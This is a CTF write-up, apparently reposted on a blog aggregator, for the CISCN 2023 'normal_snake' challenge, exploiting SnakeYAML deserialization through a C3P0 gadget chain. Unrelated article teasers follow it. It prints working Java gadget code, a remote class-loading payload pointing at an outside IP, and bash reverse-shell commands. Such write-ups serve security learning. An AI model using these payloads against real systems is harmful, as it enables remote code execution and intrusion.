[CISCN 2023 华北]normal_snake

[CISCN 2023 华北]normal_snake

源码和依赖
算了直接说吧,不想截图了,就多了一个C3P0和yaml的依赖
然后read路由可以反序列化yaml的Str
在这里插入图片描述
我们看到waf
在这里插入图片描述那个String是可以二次反序列化绕过的,然后CUSTOM_STRING1解码后是"BadAttributeValuePairException",CUSTOM_STRING2解码后是"HotSwapableSource"。就是禁用了这两个去hook toString’的类
然后思路就是C3P0的二次反序列化打
一开始我的思路是以为不能出网,直接二次反序列化打的字节码加载,首先通过yaml反序列化调用set方法触发

WrapperConnectionPoolDataSourceBase.setUserOverridesAsString---VetoableChangeSupport.fireVetoableChange--- WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange---C3P0ImplUtils.parseUserOverridesAsString---SerializableUtils.fromByteArray---SerializableUtils.deserializeFromByteArray---readObject

调用这条链是很容易的,然后就是hex字节码部分,一开始选择的是jackson的原生链,以为也没有其他的依赖了

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;public class Poc0 {public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);constructor.setBody("Runtime.getRuntime().exec(\"calc\");");ctClass.addConstructor(constructor);byte[] bytes = ctClass.toBytecode();Templates templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});setFieldValue(templatesImpl, "_name", "test");setFieldValue(templatesImpl, "_tfactory", null);//利用 JdkDynamicAopProxy 进行封装使其稳定触发Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);cons.setAccessible(true);AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templatesImpl);InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);POJONode jsonNodes = new POJONode(proxyObj);BadAttributeValueExpException exp = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);objectOutputStream.close();String res = Base64.getEncoder().encodeToString(barr.toByteArray());System.out.println(res);}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}

但是有BadAttributeValueExpException在黑名单,然后想其他hook到Tostring的方法也找不到
所以选择放弃,看wp
发现是出网的,只需要打URL远程类加载就好了其实,首先是我们的恶意文件,是看的别人的

public class evil {private static final long serialVersionUID = 1593252632163539756L;static{String string = "calc";String[] commands = null;String command = "";if (System.getProperty("os.name").toLowerCase().contains("win")) {commands = new String[]{"cmd", "/c", string};} else {command = "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}";}try {//Runtime.getRuntime().exec(commands);Runtime.getRuntime().exec(command);} catch (Exception e) {throw new RuntimeException(e);}}
}

打URL类加载

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import org.yaml.snakeyaml.Yaml;import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;public class C3P0_yaml {public static class C3P0 implements ConnectionPoolDataSource, Referenceable {@Overridepublic Reference getReference() throws NamingException {return new Reference("evil","evil","http://49.232.222.195:9999/");
//            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
//            resourceRef.add(new StringRefAddr("forceString", "x=eval"));
//            resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')"));
//            return resourceRef;}@Overridepublic PooledConnection getPooledConnection() throws SQLException {return null;}@Overridepublic PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}@Overridepublic PrintWriter getLogWriter() throws SQLException {return null;}@Overridepublic void setLogWriter(PrintWriter out) throws SQLException {}@Overridepublic void setLoginTimeout(int seconds) throws SQLException {}@Overridepublic int getLoginTimeout() throws SQLException {return 0;}@Overridepublic Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}}public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {C3P0 c3P0=new C3P0();PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是publicField connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");connectionPoolDataSource.setAccessible(true);connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase));String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";System.out.println(poc);
//        Yaml yaml=new Yaml();
//        yaml.load(poc);
//        byte[] result=serialize(poolBackedDataSourceBase);
//        unserialize(result);}public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);outputStream.writeObject(object);outputStream.close();return byteArrayOutputStream.toByteArray();}public static  void unserialize(byte[] s) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s);ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();}public static String byteArrayToHexString(byte[] byteArray) {StringBuilder sb = new StringBuilder();for (byte b : byteArray) {sb.append(String.format("%02X", b));}return sb.toString();}}

简单说一次,其实就是hex加载的paylaod里面套一个url加载的

然后还有一个!!的绕过其实也不难,!tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource就好了
然后就是在自己服务器上放这个文件,开打
后面就不记录了,因为不知道为什么没有打成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/45810.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【java】力扣 反转链表

力扣 206 链表反转 题目介绍 解法讲解 先定义两个游标indexnull&#xff0c;prenull&#xff0c;反转之后链表应该是5&#xff0c;4&#xff0c;3&#xff0c;2&#xff0c;1&#xff0c;我们先进行2->1的反转&#xff0c;然后再循坏即可 让定义的游标index去存储head.n…

MySQL设置白名单限制

白名单&#xff08;Whitelist&#xff09;是一种机制&#xff0c;用于限制哪些主机可以连接到服务器&#xff0c;而阻止其他主机的访问。通过配置白名单&#xff0c;可以增加服务器的安全性&#xff0c;防止未授权的访问。 在MySQL数据库中直接设置白名单访问&#xff08;即限制…

【C++】C++中SDKDDKVer.h和WinSDKVer.h函数库详解

目录 一.SDKDDKVer.h介绍 二.WinSDKVer.h介绍 三.WinSDKVer.h 和 SDKDDKVer.h 的区别 一.SDKDDKVer.h介绍 SDKDDKVer.h 是一个在 Windows 软件开发中常见的头文件&#xff0c;它用于定义软件开发工具包&#xff08;SDK&#xff09;和驱动开发工具包&#xff08;DDK&…

【触摸屏】【地震知识宣传系统】功能模块:视频 + 知识问答

项目背景 鉴于地震知识的普及对于提升公众防灾减灾意识的重要性&#xff0c;客户希望开发一套互动性强、易于理解的地震学习系统&#xff0c;面向公众、学生及专业人员进行地震知识教育与应急技能培训。 产品功能 系统风格&#xff1a;严谨的设计风格和准确的信息呈现&#…

获取 GPU 使用率最低的 CUDA 设备

获取 GPU 使用率最低的 CUDA 设备 要获取 GPU 使用率最低的 CUDA 设备&#xff0c;我们可以使用 Python 结合 NVIDIA 的 pynvml 库。这个库允许我们访问 NVIDIA GPU 的各种信息&#xff0c;包括使用率。下面是一个实现这个功能的 Python 脚本&#xff1a; import pynvmldef ge…

红酒的艺术之旅:品味、鉴赏与生活的整合

在繁忙的都市生活中&#xff0c;红酒如同一道不同的风景线&#xff0c;将品味、鉴赏与日常生活巧妙地整合在一起。它不仅仅是一种饮品&#xff0c;更是一种艺术&#xff0c;一种生活的态度。今天&#xff0c;就让我们一起踏上这趟红酒的艺术之旅&#xff0c;探寻雷盛红酒如何以…

Android12 persist.sys.usb.config值更新

adb的相关控制 在android 4.0 之后&#xff0c;adb 的控制统一使用了persist.sys.usb.config来控制&#xff0c;而这个persist.sys.usb.config 中的adb是根据ro.debuggable 1 or 0 来设置&#xff0c;1 就是开启adb, 0 即关闭adb debug. 有两个地方影响 build/tools/post_pr…

【qt】如何读取文件并拆分信息?

需要用到QTextStream类 还有QFile类 对于文件的读取操作我们可以统一记下如下操作: 就这三板斧 获取到文件名用文件名初始化文件对象用文件对象初始化文本流 接下来就是打开文件了 用open()来打开文件 用readLine()来读取行数据 用atEnd()来判断是否读到结尾 用split()来获取…

02. Hibernate 初体验之持久化对象

1. 前言 本节课程让我们一起体验 Hibernate 的魅力&#xff01;编写第一个基于 Hibernate 的实例程序。 在本节课程中&#xff0c;你将学到 &#xff1a; Hibernate 的版本发展史&#xff1b;持久化对象的特点。 为了更好地讲解这个内容&#xff0c;这个初体验案例分上下 2…

go-高效处理应用程序数据

一、背景 大型的应用程序为了后期的排障、运营等&#xff0c;会将一些请求、日志、性能指标等数据保存到存储系统中。为了满足这些需求&#xff0c;我们需要进行数据采集&#xff0c;将数据高效的传输到存储系统 二、问题 采集服务仅仅针对某个需求开发&#xff0c;需要修改…

防火墙小试——部分(书接上回)

toop接上回 1.实验拓扑及要求 前情回顾 DMZ区内的服务器&#xff0c;办公区仅能在办公时间内&#xff08;9&#xff1a;00 - 18&#xff1a;00&#xff09;可以访问&#xff0c;生产区的设备全天可以访问. 生产区不允许访问互联网&#xff0c;办公区和游客区允许访问互联网 …

C#统一委托Func与Action

C#在System命名空间下提供两个委托Action和Func&#xff0c;这两个委托最多提供16个参数&#xff0c;基本上可以满足所有自定义事件所需的委托类型。几乎所有的 事件 都可以使用这两个内置的委托Action和Func进行处理。 Action委托&#xff1a; Action定义提供0~16个参数&…

使用亮数据代理IP+Python爬虫批量爬取招聘信息训练面试类AI智能体

本文目录 一、引言二、开发准备三、代码开发四、使用亮数据进行高效爬取4.1 为什么需要亮数据4.2 如何使用亮数据 五、使用数据训练AI智能体六、 总结 一、引言 在当今AI迅速发展的时代&#xff0c;招聘市场正经历着前所未有的变革。传统的招聘方式已难以满足双方的需求。AI智…

ShardingSphere-JDBC —— 整合 mybatis-plus,调用批量方法执行更新操作扫所有分表问题

文章目录 过程及问题描述原因及方案 记录下 ShardingSphere 整合 mybatis-plus 进行批量更新时扫所有分表问题的原因及解决方案。ShardingSphere 整合 mybatis-plus 与整合 mybatis 流程是一样的&#xff0c;一个是导入 mybatis 包&#xff0c;一个是导入 mybatis-plus 包&…

canvas快速入门(一)canvas的基础使用

注释很详细&#xff0c;直接上代码 新增内容&#xff1a; 1. canvas的两种创建方式及优劣 2. canvas宽高设置及注意事项 3. 简单测例 项目结构&#xff1a; 源码&#xff1a; index.html <!DOCTYPE html> <html lang"en"> <head><meta charset…

7.7 CyclicBarrier

CyclicBarrier 循环栅栏&#xff0c;用来进行线程协作&#xff0c;等待线程满足某个计数。构造时设置【计数个数】。每个线程执行到某个需要“同步”的时刻调用 await() 方法进行等待&#xff0c;当等待的线程数满足【计数个数】时&#xff0c;继续执行。 Slf4j(topic "…

MySQL学习记录 —— 십구 命令执行

文章目录 1、mysql客户端命令2、从.sql文件执行SQL语句 1、mysql客户端命令 使用mysql时&#xff0c;命令行要以分号或者\g&#xff0c;\G来结束。 mysql客户端的很多命令可以在之前的mysql博客中查看。另外的用help或\h命令来查看。本篇写一些之前没有提到过的。 命令结束符…

先天睡功-守一老师

描述 守一老师&#xff0c;一个富有才华的老师&#xff01; 对于大家的学习有不可多得的帮助。 内容 目前主要的内容以睡觉为主&#xff0c;对于学习睡睡觉有比较大的帮助&#xff01; 但是网络上面错综复杂&#xff0c;很多老旧的版本影响学习&#xff01; 而这里我整理了…

安全防御实验2

一、实验拓扑 二、实验要求 办公区设备可以通过电信链路和移动链路上网(多对多的NAT&#xff0c;并且需要保留一个公网IP不能用来转换)分公司设备可以通过总公司的移动链路和电信链路访问到Dmz区的http服务器多出口环境基于带宽比例进行选路&#xff0c;但是&#xff0c;办公区…

数据建设实践之大数平台(六)安装spark

安装spark 上传安装包到/opt/software目录并解压 [bigdatanode101 software]$ tar -xvf spark-3.3.1-bin-hadoop3.tgz -C /opt/services/ [bigdatanode101 software]$ tar -xvf spark-3.3.1-bin-without-hadoop.tgz -C /opt/services/ 重命名文件 [bigdatanode101 servic…